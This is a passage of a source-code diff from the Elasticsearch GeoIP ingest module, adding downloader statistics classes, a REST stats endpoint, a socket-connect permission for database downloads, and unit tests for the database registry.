fromXContent(XContentParser parser) throws IOException { + return PARSER.parse(parser, null); + } + + @Override + public void writeTo(StreamOutput out) throws IOException { + out.writeVInt(successfulDownloads); + out.writeVInt(failedDownloads); + out.writeVLong(totalDownloadTime); + out.writeVInt(databasesCount); + out.writeVInt(skippedDownloads); + } + + @Override + public boolean equals(Object o) { + if (this == o) return true; + if (o == null || getClass() != o.getClass()) return false; + GeoIpDownloaderStats that = (GeoIpDownloaderStats) o; + return successfulDownloads == that.successfulDownloads && + failedDownloads == that.failedDownloads && + totalDownloadTime == that.totalDownloadTime && + databasesCount == that.databasesCount && + skippedDownloads == that.skippedDownloads; + } + + @Override + public int hashCode() { + return Objects.hash(successfulDownloads, failedDownloads, totalDownloadTime, databasesCount, skippedDownloads); + } + + @Override + public String toString() { + return Strings.toString(this); + } + + @Override + public String getWriteableName() { + return GeoIpDownloader.GEOIP_DOWNLOADER; + } +} diff --git a/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/stats/GeoIpDownloaderStatsAction.java b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/stats/GeoIpDownloaderStatsAction.java new file mode 100644 index 0000000000000..a9c817dbc8ad6 --- /dev/null +++ b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/stats/GeoIpDownloaderStatsAction.java @@ -0,0 +1,194 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.geoip.stats; + +import org.elasticsearch.action.ActionType; +import org.elasticsearch.action.FailedNodeException; +import org.elasticsearch.action.support.nodes.BaseNodeResponse; +import org.elasticsearch.action.support.nodes.BaseNodesRequest; +import org.elasticsearch.action.support.nodes.BaseNodesResponse; +import org.elasticsearch.cluster.ClusterName; +import org.elasticsearch.cluster.node.DiscoveryNode; +import org.elasticsearch.common.io.stream.StreamInput; +import org.elasticsearch.common.io.stream.StreamOutput; +import org.elasticsearch.common.io.stream.Writeable; +import org.elasticsearch.common.xcontent.ToXContentObject; +import org.elasticsearch.common.xcontent.XContentBuilder; +import org.elasticsearch.transport.TransportRequest; + +import java.io.IOException; +import java.util.List; +import java.util.Map; +import java.util.Objects; +import java.util.Set; + +public class GeoIpDownloaderStatsAction extends ActionType { + + public static final GeoIpDownloaderStatsAction INSTANCE = new GeoIpDownloaderStatsAction(); + public static final String NAME = "cluster:monitor/ingest/geoip/stats"; + + public GeoIpDownloaderStatsAction() { + super(NAME, Response::new); + } + + public static class Request extends BaseNodesRequest implements ToXContentObject { + + public Request() { + super((String[]) null); + } + + public Request(StreamInput in) throws IOException { + super(in); + } + + @Override + public XContentBuilder toXContent(XContentBuilder builder, Params params) throws IOException { + builder.startObject(); + builder.endObject(); + return builder; + } + + @Override + public int hashCode() { + // Nothing to hash atm, so just use the action name + return Objects.hashCode(NAME); + } + + @Override + public boolean equals(Object obj) { + if (obj == null) { + return false; + } + if (getClass() != obj.getClass()) { + return false; + } + return true; + } + } + + public static class NodeRequest extends TransportRequest { + public NodeRequest(StreamInput in) throws IOException { + super(in); + } + + public NodeRequest(Request request) { + + } + } + + public static class Response extends BaseNodesResponse implements Writeable, ToXContentObject { + public Response(StreamInput in) throws IOException { + super(in); + } + + public Response(ClusterName clusterName, List nodes, List failures) { + super(clusterName, nodes, failures); + } + + @Override + protected List readNodesFrom(StreamInput in) throws IOException { + return in.readList(NodeResponse::new); + } + + @Override + protected void writeNodesTo(StreamOutput out, List nodes) throws IOException { + out.writeList(nodes); + } + + @Override + public XContentBuilder toXContent(XContentBuilder builder, Params params) throws IOException { + GeoIpDownloaderStats stats = + getNodes().stream().map(n -> n.stats).filter(Objects::nonNull).findFirst().orElse(GeoIpDownloaderStats.EMPTY); + builder.startObject(); + builder.field("stats", stats); + builder.startObject("nodes"); + for (Map.Entry e : getNodesMap().entrySet()) { + NodeResponse response = e.getValue(); + if (response.filesInTemp.isEmpty() && response.databases.isEmpty()) { + continue; + } + builder.startObject(e.getKey()); + if (response.databases.isEmpty() == false) { + builder.startArray("databases"); + for (String database : response.databases) { + builder.startObject(); + builder.field("name", database); + builder.endObject(); + } + builder.endArray(); + } + if (response.filesInTemp.isEmpty() == false) { + builder.array("files_in_temp", response.filesInTemp.toArray(String[]::new)); + } + builder.endObject(); + } + builder.endObject(); + builder.endObject(); + return builder; + } + + @Override + public boolean equals(Object o) { + if (this == o) return true; + if (o == null || getClass() != o.getClass()) return false; + Response that = (Response) o; + return Objects.equals(getNodes(), that.getNodes()) && Objects.equals(failures(), that.failures()); + } + + @Override + public int hashCode() { + return Objects.hash(getNodes(), failures()); + } + } + + public static class NodeResponse extends BaseNodeResponse { + + private final GeoIpDownloaderStats stats; + private final Set databases; + private final Set filesInTemp; + + protected NodeResponse(StreamInput in) throws IOException { + super(in); + stats = in.readBoolean() ? new GeoIpDownloaderStats(in) : null; + databases = in.readSet(StreamInput::readString); + filesInTemp = in.readSet(StreamInput::readString); + } + + protected NodeResponse(DiscoveryNode node, GeoIpDownloaderStats stats, Set databases, Set filesInTemp) { + super(node); + this.stats = stats; + this.databases = databases; + this.filesInTemp = filesInTemp; + } + + @Override + public void writeTo(StreamOutput out) throws IOException { + super.writeTo(out); + out.writeBoolean(stats != null); + if (stats != null) { + stats.writeTo(out); + } + out.writeCollection(databases, StreamOutput::writeString); + out.writeCollection(filesInTemp, StreamOutput::writeString); + } + + @Override + public boolean equals(Object o) { + if (this == o) return true; + if (o == null || getClass() != o.getClass()) return false; + NodeResponse that = (NodeResponse) o; + return stats.equals(that.stats) && databases.equals(that.databases) && filesInTemp.equals(that.filesInTemp); + } + + @Override + public int hashCode() { + return Objects.hash(stats, databases, filesInTemp); + } + } +} diff --git a/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/stats/GeoIpDownloaderStatsTransportAction.java b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/stats/GeoIpDownloaderStatsTransportAction.java new file mode 100644 index 0000000000000..e9ec8290f182e --- /dev/null +++ b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/stats/GeoIpDownloaderStatsTransportAction.java @@ -0,0 +1,73 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.geoip.stats; + +import org.elasticsearch.action.FailedNodeException; +import org.elasticsearch.action.support.ActionFilters; +import org.elasticsearch.action.support.nodes.TransportNodesAction; +import org.elasticsearch.cluster.service.ClusterService; +import org.elasticsearch.common.inject.Inject; +import org.elasticsearch.common.io.stream.StreamInput; +import org.elasticsearch.ingest.geoip.DatabaseRegistry; +import org.elasticsearch.ingest.geoip.GeoIpDownloader; +import org.elasticsearch.ingest.geoip.GeoIpDownloaderTaskExecutor; +import org.elasticsearch.ingest.geoip.stats.GeoIpDownloaderStatsAction.NodeRequest; +import org.elasticsearch.ingest.geoip.stats.GeoIpDownloaderStatsAction.NodeResponse; +import org.elasticsearch.ingest.geoip.stats.GeoIpDownloaderStatsAction.Request; +import org.elasticsearch.ingest.geoip.stats.GeoIpDownloaderStatsAction.Response; +import org.elasticsearch.tasks.Task; +import org.elasticsearch.threadpool.ThreadPool; +import org.elasticsearch.transport.TransportService; + +import java.io.IOException; +import java.util.List; + +public class GeoIpDownloaderStatsTransportAction extends TransportNodesAction { + + private final TransportService transportService; + private final DatabaseRegistry registry; + private GeoIpDownloaderTaskExecutor geoIpDownloaderTaskExecutor; + + @Inject + public GeoIpDownloaderStatsTransportAction(TransportService transportService, ClusterService clusterService, + ThreadPool threadPool, ActionFilters actionFilters, DatabaseRegistry registry) { + super(GeoIpDownloaderStatsAction.NAME, threadPool, clusterService, transportService, actionFilters, Request::new, + NodeRequest::new, ThreadPool.Names.MANAGEMENT, NodeResponse.class); + this.transportService = transportService; + this.registry = registry; + } + + @Inject(optional = true) + public void setTaskExecutor(GeoIpDownloaderTaskExecutor taskExecutor){ + geoIpDownloaderTaskExecutor = taskExecutor; + } + + @Override + protected Response newResponse(Request request, List nodeResponses, List failures) { + return new Response(clusterService.getClusterName(), nodeResponses, failures); + } + + @Override + protected NodeRequest newNodeRequest(Request request) { + return new NodeRequest(request); + } + + @Override + protected NodeResponse newNodeResponse(StreamInput in) throws IOException { + return new NodeResponse(in); + } + + @Override + protected NodeResponse nodeOperation(NodeRequest request, Task task) { + GeoIpDownloader geoIpTask = geoIpDownloaderTaskExecutor == null ? null : geoIpDownloaderTaskExecutor.getCurrentTask(); + GeoIpDownloaderStats stats = geoIpTask == null || geoIpTask.getStatus() == null ? null : geoIpTask.getStatus(); + return new NodeResponse(transportService.getLocalNode(), stats, registry.getAvailableDatabases(), registry.getFilesInTemp()); + } +} diff --git a/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/stats/RestGeoIpDownloaderStatsAction.java b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/stats/RestGeoIpDownloaderStatsAction.java new file mode 100644 index 0000000000000..5d20480565265 --- /dev/null +++ b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/stats/RestGeoIpDownloaderStatsAction.java @@ -0,0 +1,37 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.geoip.stats; + +import org.elasticsearch.client.node.NodeClient; +import org.elasticsearch.rest.BaseRestHandler; +import org.elasticsearch.rest.RestRequest; +import org.elasticsearch.rest.action.RestToXContentListener; + +import java.util.List; + +import static org.elasticsearch.rest.RestRequest.Method.GET; + +public class RestGeoIpDownloaderStatsAction extends BaseRestHandler { + + @Override + public String getName() { + return "geoip_downloader_stats"; + } + + @Override + public List routes() { + return List.of(new Route(GET, "/_ingest/geoip/stats")); + } + + @Override + protected RestChannelConsumer prepareRequest(RestRequest request, NodeClient client) { + return channel -> client.execute(GeoIpDownloaderStatsAction.INSTANCE, new GeoIpDownloaderStatsAction.Request(), + new RestToXContentListener<>(channel)); + } +} diff --git a/modules/ingest-geoip/src/main/plugin-metadata/plugin-security.policy b/modules/ingest-geoip/src/main/plugin-metadata/plugin-security.policy index c961d7248a2bf..2f1e80e8e5578 100644 --- a/modules/ingest-geoip/src/main/plugin-metadata/plugin-security.policy +++ b/modules/ingest-geoip/src/main/plugin-metadata/plugin-security.policy @@ -15,4 +15,5 @@ grant { permission java.lang.RuntimePermission "accessDeclaredMembers"; // Also needed because of jackson-databind: permission java.lang.reflect.ReflectPermission "suppressAccessChecks"; + permission java.net.SocketPermission "*", "connect"; }; diff --git a/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/DatabaseRegistryTests.java b/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/DatabaseRegistryTests.java new file mode 100644 index 0000000000000..50cf6ac4c2538 --- /dev/null +++ b/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/DatabaseRegistryTests.java @@ -0,0 +1,383 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.geoip; + +import com.maxmind.db.InvalidDatabaseException; +import org.apache.lucene.search.TotalHits; +import org.apache.lucene.util.LuceneTestCase; +import org.elasticsearch.Version; +import org.elasticsearch.action.ActionFuture; +import org.elasticsearch.action.search.SearchRequest; +import org.elasticsearch.action.search.SearchResponse; +import org.elasticsearch.action.search.SearchResponseSections; +import org.elasticsearch.client.Client; +import org.elasticsearch.cluster.ClusterName; +import org.elasticsearch.cluster.ClusterState; +import org.elasticsearch.cluster.metadata.Metadata; +import org.elasticsearch.cluster.node.DiscoveryNode; +import org.elasticsearch.cluster.node.DiscoveryNodeRole; +import org.elasticsearch.cluster.node.DiscoveryNodes; +import org.elasticsearch.cluster.routing.IndexRoutingTable; +import org.elasticsearch.cluster.routing.IndexShardRoutingTable; +import org.elasticsearch.cluster.routing.RecoverySource; +import org.elasticsearch.cluster.routing.RoutingTable; +import org.elasticsearch.cluster.routing.ShardRouting; +import org.elasticsearch.cluster.routing.UnassignedInfo; +import org.elasticsearch.common.CheckedConsumer; +import org.elasticsearch.common.CheckedRunnable; +import org.elasticsearch.common.bytes.BytesArray; +import org.elasticsearch.common.hash.MessageDigests; +import org.elasticsearch.common.io.Streams; +import org.elasticsearch.common.settings.Settings; +import org.elasticsearch.common.unit.TimeValue; +import org.elasticsearch.common.xcontent.XContentBuilder; +import org.elasticsearch.common.xcontent.XContentType; +import org.elasticsearch.index.Index; +import org.elasticsearch.index.query.TermQueryBuilder; +import org.elasticsearch.index.shard.ShardId; +import org.elasticsearch.ingest.IngestService; +import org.elasticsearch.persistent.PersistentTasksCustomMetadata; +import org.elasticsearch.search.SearchHit; +import org.elasticsearch.search.SearchHits; +import org.elasticsearch.test.ESTestCase; +import org.elasticsearch.threadpool.TestThreadPool; +import org.elasticsearch.threadpool.ThreadPool; +import org.elasticsearch.watcher.ResourceWatcherService; +import org.junit.After; +import org.junit.Before; +import org.mockito.ArgumentCaptor; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.UncheckedIOException; +import java.nio.charset.StandardCharsets; +import java.nio.file.Files; +import java.nio.file.Path; +import java.security.MessageDigest; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.Locale; +import java.util.Map; +import java.util.Set; +import java.util.UUID; +import java.util.function.Consumer; +import java.util.stream.Collectors; +import java.util.stream.Stream; +import java.util.zip.GZIPInputStream; +import java.util.zip.GZIPOutputStream; + +import static org.elasticsearch.ingest.geoip.GeoIpProcessorFactoryTests.copyDatabaseFiles; +import static org.elasticsearch.persistent.PersistentTasksCustomMetadata.PersistentTask; +import static org.elasticsearch.persistent.PersistentTasksCustomMetadata.TYPE; +import static org.hamcrest.Matchers.empty; +import static org.hamcrest.Matchers.equalTo; +import static org.hamcrest.Matchers.hasSize; +import static org.hamcrest.Matchers.notNullValue; +import static org.hamcrest.Matchers.nullValue; +import static org.mockito.Matchers.any; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.never; +import static org.mockito.Mockito.times; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +@LuceneTestCase.SuppressFileSystems(value = "ExtrasFS") // Don't randomly add 'extra' files to directory. +public class DatabaseRegistryTests extends ESTestCase { + + private Client client; + private Path geoIpTmpDir; + private ThreadPool threadPool; + private DatabaseRegistry databaseRegistry; + private ResourceWatcherService resourceWatcherService; + + @Before + public void setup() throws IOException { + final Path geoIpDir = createTempDir(); + final Path geoIpConfigDir = createTempDir(); + Files.createDirectories(geoIpConfigDir); + copyDatabaseFiles(geoIpDir); + + threadPool = new TestThreadPool(LocalDatabases.class.getSimpleName()); + Settings settings = Settings.builder().put("resource.reload.interval.high", TimeValue.timeValueMillis(100)).build(); + resourceWatcherService = new ResourceWatcherService(settings, threadPool); + + client = mock(Client.class); + GeoIpCache cache = new GeoIpCache(1000); + LocalDatabases localDatabases = new LocalDatabases(geoIpDir, geoIpConfigDir, cache); + geoIpTmpDir = createTempDir(); + databaseRegistry = new DatabaseRegistry(geoIpTmpDir, client, cache, localDatabases, Runnable::run); + databaseRegistry.initialize("nodeId", resourceWatcherService, mock(IngestService.class)); + } + + @After + public void cleanup() { + resourceWatcherService.close(); + threadPool.shutdownNow(); + } + + public void testCheckDatabases() throws Exception { + String md5 = mockSearches("GeoIP2-City.mmdb", 5, 14); + String taskId = GeoIpDownloader.GEOIP_DOWNLOADER; + PersistentTask task = new PersistentTask<>(taskId, GeoIpDownloader.GEOIP_DOWNLOADER, new GeoIpTaskParams(), 1, null); + task = new PersistentTask<>(task, new GeoIpTaskState(Map.of("GeoIP2-City.mmdb", new GeoIpTaskState.Metadata(10L, 5, 14, md5)))); + PersistentTasksCustomMetadata tasksCustomMetadata = new PersistentTasksCustomMetadata(1L, Map.of(taskId, task)); + + ClusterState state = ClusterState.builder(new ClusterName("name")) + .metadata(Metadata.builder().putCustom(TYPE, tasksCustomMetadata).build()) + .nodes(new DiscoveryNodes.Builder() + .add(new DiscoveryNode("_id1", buildNewFakeTransportAddress(), Version.CURRENT)) + .localNodeId("_id1")) + .routingTable(createIndexRoutingTable()) + .build(); + + assertThat(databaseRegistry.getDatabase("GeoIP2-City.mmdb", false), nullValue()); + databaseRegistry.checkDatabases(state); + DatabaseReaderLazyLoader database = databaseRegistry.getDatabase("GeoIP2-City.mmdb", false); + assertThat(database, notNullValue()); + verify(client, times(10)).search(any()); + try (Stream files = Files.list(geoIpTmpDir.resolve("geoip-databases").resolve("nodeId"))) { + assertThat(files.collect(Collectors.toList()), hasSize(1)); + } + IllegalStateException e = expectThrows(IllegalStateException.class, database::get); + assertEquals("database [GeoIP2-City.mmdb] was not updated for 30 days and is disabled", e.getMessage()); + + task = new PersistentTask<>(task, new GeoIpTaskState(Map.of("GeoIP2-City.mmdb", + new GeoIpTaskState.Metadata(System.currentTimeMillis(), 5, 14, md5)))); + tasksCustomMetadata = new PersistentTasksCustomMetadata(1L, Map.of(taskId, task)); + + state = ClusterState.builder(new ClusterName("name")) + .metadata(Metadata.builder().putCustom(TYPE, tasksCustomMetadata).build()) + .nodes(new DiscoveryNodes.Builder() + .add(new DiscoveryNode("_id1", buildNewFakeTransportAddress(), Version.CURRENT)) + .localNodeId("_id1")) + .routingTable(createIndexRoutingTable()) + .build(); + databaseRegistry.checkDatabases(state); + database = databaseRegistry.getDatabase("GeoIP2-City.mmdb", false); + //30 days check passed but we mocked mmdb data so parsing will fail + expectThrows(InvalidDatabaseException.class, database::get); + } + + public void testCheckDatabases_dontCheckDatabaseOnNonIngestNode() throws Exception { + String md5 = mockSearches("GeoIP2-City.mmdb", 0, 9); + String taskId = GeoIpDownloader.GEOIP_DOWNLOADER; + PersistentTask task = new PersistentTask<>(taskId, GeoIpDownloader.GEOIP_DOWNLOADER, new GeoIpTaskParams(), 1, null); + task = new PersistentTask<>(task, new GeoIpTaskState(Map.of("GeoIP2-City.mmdb", new GeoIpTaskState.Metadata(0L, 0, 9, md5)))); + PersistentTasksCustomMetadata tasksCustomMetadata = new PersistentTasksCustomMetadata(1L, Map.of(taskId, task)); + + ClusterState state = ClusterState.builder(new ClusterName("name")) + .metadata(Metadata.builder().putCustom(TYPE, tasksCustomMetadata).build()) + .nodes(new DiscoveryNodes.Builder() + .add(new DiscoveryNode("_name1", "_id1", buildNewFakeTransportAddress(), Map.of(), + Set.of(DiscoveryNodeRole.MASTER_ROLE), Version.CURRENT)) + .localNodeId("_id1")) + .routingTable(createIndexRoutingTable()) + .build(); + + databaseRegistry.checkDatabases(state); + assertThat(databaseRegistry.getDatabase("GeoIP2-City.mmdb", false), nullValue()); + verify(client, never()).search(any()); + try (Stream files = Files.list(geoIpTmpDir.resolve("geoip-databases").resolve("nodeId"))) { + assertThat(files.collect(Collectors.toList()), empty()); + } + } + + public void testCheckDatabases_dontCheckDatabaseWhenNoDatabasesIndex() throws Exception { + String md5 = mockSearches("GeoIP2-City.mmdb", 0, 9); + String taskId = GeoIpDownloader.GEOIP_DOWNLOADER; + PersistentTask task = new PersistentTask<>(taskId, GeoIpDownloader.GEOIP_DOWNLOADER, new GeoIpTaskParams(), 1, null); + task = new PersistentTask<>(task, new GeoIpTaskState(Map.of("GeoIP2-City.mmdb", new GeoIpTaskState.Metadata(0L, 0, 9, md5)))); + PersistentTasksCustomMetadata tasksCustomMetadata = new PersistentTasksCustomMetadata(1L, Map.of(taskId, task)); + + ClusterState state = ClusterState.builder(new ClusterName("name")) + .metadata(Metadata.builder().putCustom(TYPE, tasksCustomMetadata).build()) + .nodes(new DiscoveryNodes.Builder() + .add(new DiscoveryNode("_id1", buildNewFakeTransportAddress(), Version.CURRENT)) + .localNodeId("_id1")) + .build(); + + databaseRegistry.checkDatabases(state); + assertThat(databaseRegistry.getDatabase("GeoIP2-City.mmdb", false), nullValue()); + verify(client, never()).search(any()); + try (Stream files = Files.list(geoIpTmpDir.resolve("geoip-databases").resolve("nodeId"))) { + assertThat(files.collect(Collectors.toList()), empty()); + } + } + + public void testCheckDatabases_dontCheckDatabaseWhenGeoIpDownloadTask() throws Exception { + PersistentTasksCustomMetadata tasksCustomMetadata = new PersistentTasksCustomMetadata(0L, Map.of()); + + ClusterState state = ClusterState.builder(new ClusterName("name")) + .metadata(Metadata.builder().putCustom(TYPE, tasksCustomMetadata).build()) + .nodes(new DiscoveryNodes.Builder() + .add(new DiscoveryNode("_id1", buildNewFakeTransportAddress(), Version.CURRENT)) + .localNodeId("_id1")) + .routingTable(createIndexRoutingTable()) + .build(); + + mockSearches("GeoIP2-City.mmdb", 0, 9); + + databaseRegistry.checkDatabases(state); + assertThat(databaseRegistry.getDatabase("GeoIP2-City.mmdb", false), nullValue()); + verify(client, never()).search(any()); + try (Stream files = Files.list(geoIpTmpDir.resolve("geoip-databases").resolve("nodeId"))) { + assertThat(files.collect(Collectors.toList()), empty()); + } + } + + public void testRetrieveDatabase() throws Exception { + String md5 = mockSearches("_name", 0, 29); + GeoIpTaskState.Metadata metadata = new GeoIpTaskState.Metadata(-1, 0, 29, md5); + + @SuppressWarnings("unchecked") + CheckedConsumer chunkConsumer = mock(CheckedConsumer.class); + @SuppressWarnings("unchecked") + CheckedRunnable completedHandler = mock(CheckedRunnable.class); + @SuppressWarnings("unchecked") + Consumer failureHandler = mock(Consumer.class); + databaseRegistry.retrieveDatabase("_name", md5, metadata, chunkConsumer, completedHandler, failureHandler); + verify(failureHandler, never()).accept(any()); + verify(chunkConsumer, times(30)).accept(any()); + verify(completedHandler, times(1)).run(); + verify(client, times(30)).search(any()); + } + + public void testRetrieveDatabaseCorruption() throws Exception { + String md5 = mockSearches("_name", 0, 9); + String incorrectMd5 = "different"; + GeoIpTaskState.Metadata metadata = new GeoIpTaskState.Metadata(-1, 0, 9, incorrectMd5); + + @SuppressWarnings("unchecked") + CheckedConsumer chunkConsumer = mock(CheckedConsumer.class); + @SuppressWarnings("unchecked") + CheckedRunnable completedHandler = mock(CheckedRunnable.class); + @SuppressWarnings("unchecked") + Consumer failureHandler = mock(Consumer.class); + databaseRegistry.retrieveDatabase("_name", incorrectMd5, metadata, chunkConsumer, completedHandler, failureHandler); + ArgumentCaptor exceptionCaptor = ArgumentCaptor.forClass(Exception.class); + verify(failureHandler, times(1)).accept(exceptionCaptor.capture()); + assertThat(exceptionCaptor.getAllValues().size(), equalTo(1)); + assertThat(exceptionCaptor.getAllValues().get(0).getMessage(), equalTo("expected md5 hash [different], " + + "but got md5 hash [" + md5 + "]")); + verify(chunkConsumer, times(10)).accept(any()); + verify(completedHandler, times(0)).run(); + verify(client, times(10)).search(any()); + } + + private String mockSearches(String databaseName, int firstChunk, int lastChunk) throws IOException { + String dummyContent = "test: " + databaseName; + List data = gzip(databaseName, dummyContent, lastChunk - firstChunk + 1); + assertThat(gunzip(data), equalTo(dummyContent)); + + Map> requestMap = new HashMap<>(); + for (int i = firstChunk; i <= lastChunk; i++) { + byte[] chunk = data.get(i - firstChunk); + SearchHit hit = new SearchHit(i); + try (XContentBuilder builder = XContentBuilder.builder(XContentType.SMILE.xContent())) { + builder.map(Map.of("data", chunk)); + builder.flush(); + ByteArrayOutputStream outputStream = (ByteArrayOutputStream) builder.getOutputStream(); + hit.sourceRef(new BytesArray(outputStream.toByteArray())); + } catch (IOException ex) { + throw new UncheckedIOException(ex); + } + + SearchHits hits = new SearchHits(new SearchHit[]{hit}, new TotalHits(1, TotalHits.Relation.EQUAL_TO), 1f); + SearchResponse searchResponse = + new SearchResponse(new SearchResponseSections(hits, null, null, false, null, null, 0), null, 1, 1, 0, 1L, null, null); + @SuppressWarnings("unchecked") + ActionFuture actionFuture = mock(ActionFuture.class); + when(actionFuture.actionGet()).thenReturn(searchResponse); + requestMap.put(databaseName + "_" + i, actionFuture); + } + when(client.search(any())).thenAnswer(invocationOnMock -> { + SearchRequest req = (SearchRequest) invocationOnMock.getArguments()[0]; + TermQueryBuilder term = (TermQueryBuilder) req.source().query(); + String id = (String) term.value(); + return requestMap.get(id.substring(0, id.lastIndexOf('_'))); + }); + + MessageDigest md = MessageDigests.md5(); + data.forEach(md::update); + return MessageDigests.toHexString(md.digest()); + } + + private static RoutingTable createIndexRoutingTable() { + Index index = new Index(GeoIpDownloader.DATABASES_INDEX, UUID.randomUUID().toString()); + ShardRouting shardRouting = ShardRouting.newUnassigned( + new ShardId(index, 0), + true, + RecoverySource.ExistingStoreRecoverySource.INSTANCE, + new UnassignedInfo(UnassignedInfo.Reason.INDEX_CREATED, "") + ); + String nodeId = ESTestCase.randomAlphaOfLength(8); + IndexShardRoutingTable table = new IndexShardRoutingTable.Builder(new ShardId(index, 0)).addShard( + shardRouting.initialize(nodeId, null, shardRouting.getExpectedShardSize()).moveToStarted() + ).build(); + return RoutingTable.builder().add(IndexRoutingTable.builder(index).addIndexShard(table).build()).build(); + } + + private static List gzip(String name, String content, int chunks) throws IOException { + ByteArrayOutputStream bytes = new ByteArrayOutputStream(); + GZIPOutputStream gzipOutputStream = new GZIPOutputStream(bytes); + byte[] header = new byte[512]; + byte[] nameBytes = name.getBytes(StandardCharsets.UTF_8); + byte[] contentBytes = content.getBytes(StandardCharsets.UTF_8); + byte[] sizeBytes = String.format(Locale.ROOT, "%1$012o", contentBytes.length).getBytes(StandardCharsets.UTF_8); + System.arraycopy(nameBytes, 0, header, 0, nameBytes.length); + System.arraycopy(sizeBytes, 0, header, 124, 12); + gzipOutputStream.write(header); + gzipOutputStream.write(contentBytes); + gzipOutputStream.write(512 - contentBytes.length); + gzipOutputStream.write(new byte[512]); + gzipOutputStream.write(new byte[512]); + gzipOutputStream.close(); + + byte[] all = bytes.toByteArray(); + int chunkSize = all.length / chunks; + List data = new ArrayList<>(); + + for (int from = 0; from < all.length; ) { + int to = from + chunkSize; + if (to > all.length) { + to = all.length; + } + data.add(Arrays.copyOfRange(all, from, to)); + from = to; + } + + while (data.size() > chunks) { + byte[] last = data.remove(data.size() - 1); + byte[] secondLast = data.remove(data.size() - 1); + byte[] merged = new byte[secondLast.length + last.length]; + System.arraycopy(secondLast, 0, merged, 0, secondLast.length); + System.arraycopy(last, 0, merged, secondLast.length, last.length); + data.add(merged); + } + + assert data.size() == chunks; + return data; + } + + private static String gunzip(List chunks) throws IOException { + byte[] gzippedContent = new byte[chunks.stream().mapToInt(value -> value.length).sum()]; + int written = 0; + for (byte[] chunk : chunks) { + System.arraycopy(chunk, 0, gzippedContent, written, chunk.length); + written += chunk.length; + } + TarInputStream gzipInputStream = new TarInputStream(new GZIPInputStream(new ByteArrayInputStream(gzippedContent))); + gzipInputStream.getNextEntry(); + return Streams.readFully(gzipInputStream).utf8ToString(); + } + +} diff --git a/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/GeoIpDownloaderTests.java b/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/GeoIpDownloaderTests.java new file mode 100644 index 0000000000000..6fd28db01a63f --- /dev/null +++ b/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/GeoIpDownloaderTests.java @@ -0,0 +1,406 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.geoip; + +import org.elasticsearch.action.ActionListener; +import org.elasticsearch.action.ActionRequest; +import org.elasticsearch.action.ActionResponse; +import org.elasticsearch.action.ActionType; +import org.elasticsearch.action.DocWriteRequest.OpType; +import org.elasticsearch.action.admin.indices.flush.FlushAction; +import org.elasticsearch.action.admin.indices.flush.FlushRequest; +import org.elasticsearch.action.admin.indices.flush.FlushResponse; +import org.elasticsearch.action.admin.indices.refresh.RefreshAction; +import org.elasticsearch.action.admin.indices.refresh.RefreshRequest; +import org.elasticsearch.action.admin.indices.refresh.RefreshResponse; +import org.elasticsearch.action.index.IndexAction; +import org.elasticsearch.action.index.IndexRequest; +import org.elasticsearch.action.index.IndexResponse; +import org.elasticsearch.cluster.ClusterName; +import org.elasticsearch.cluster.ClusterState; +import org.elasticsearch.cluster.service.ClusterService; +import org.elasticsearch.common.settings.ClusterSettings; +import org.elasticsearch.common.settings.Settings; +import org.elasticsearch.common.xcontent.XContentBuilder; +import org.elasticsearch.common.xcontent.XContentType; +import org.elasticsearch.node.Node; +import org.elasticsearch.persistent.PersistentTaskState; +import org.elasticsearch.persistent.PersistentTasksCustomMetadata.PersistentTask; +import org.elasticsearch.test.ESTestCase; +import org.elasticsearch.test.client.NoOpClient; +import org.elasticsearch.threadpool.ThreadPool; +import org.hamcrest.Matchers; +import org.junit.After; +import org.junit.Before; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.util.Collections; +import java.util.HashMap; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.concurrent.atomic.AtomicInteger; +import java.util.function.BiConsumer; + +import static 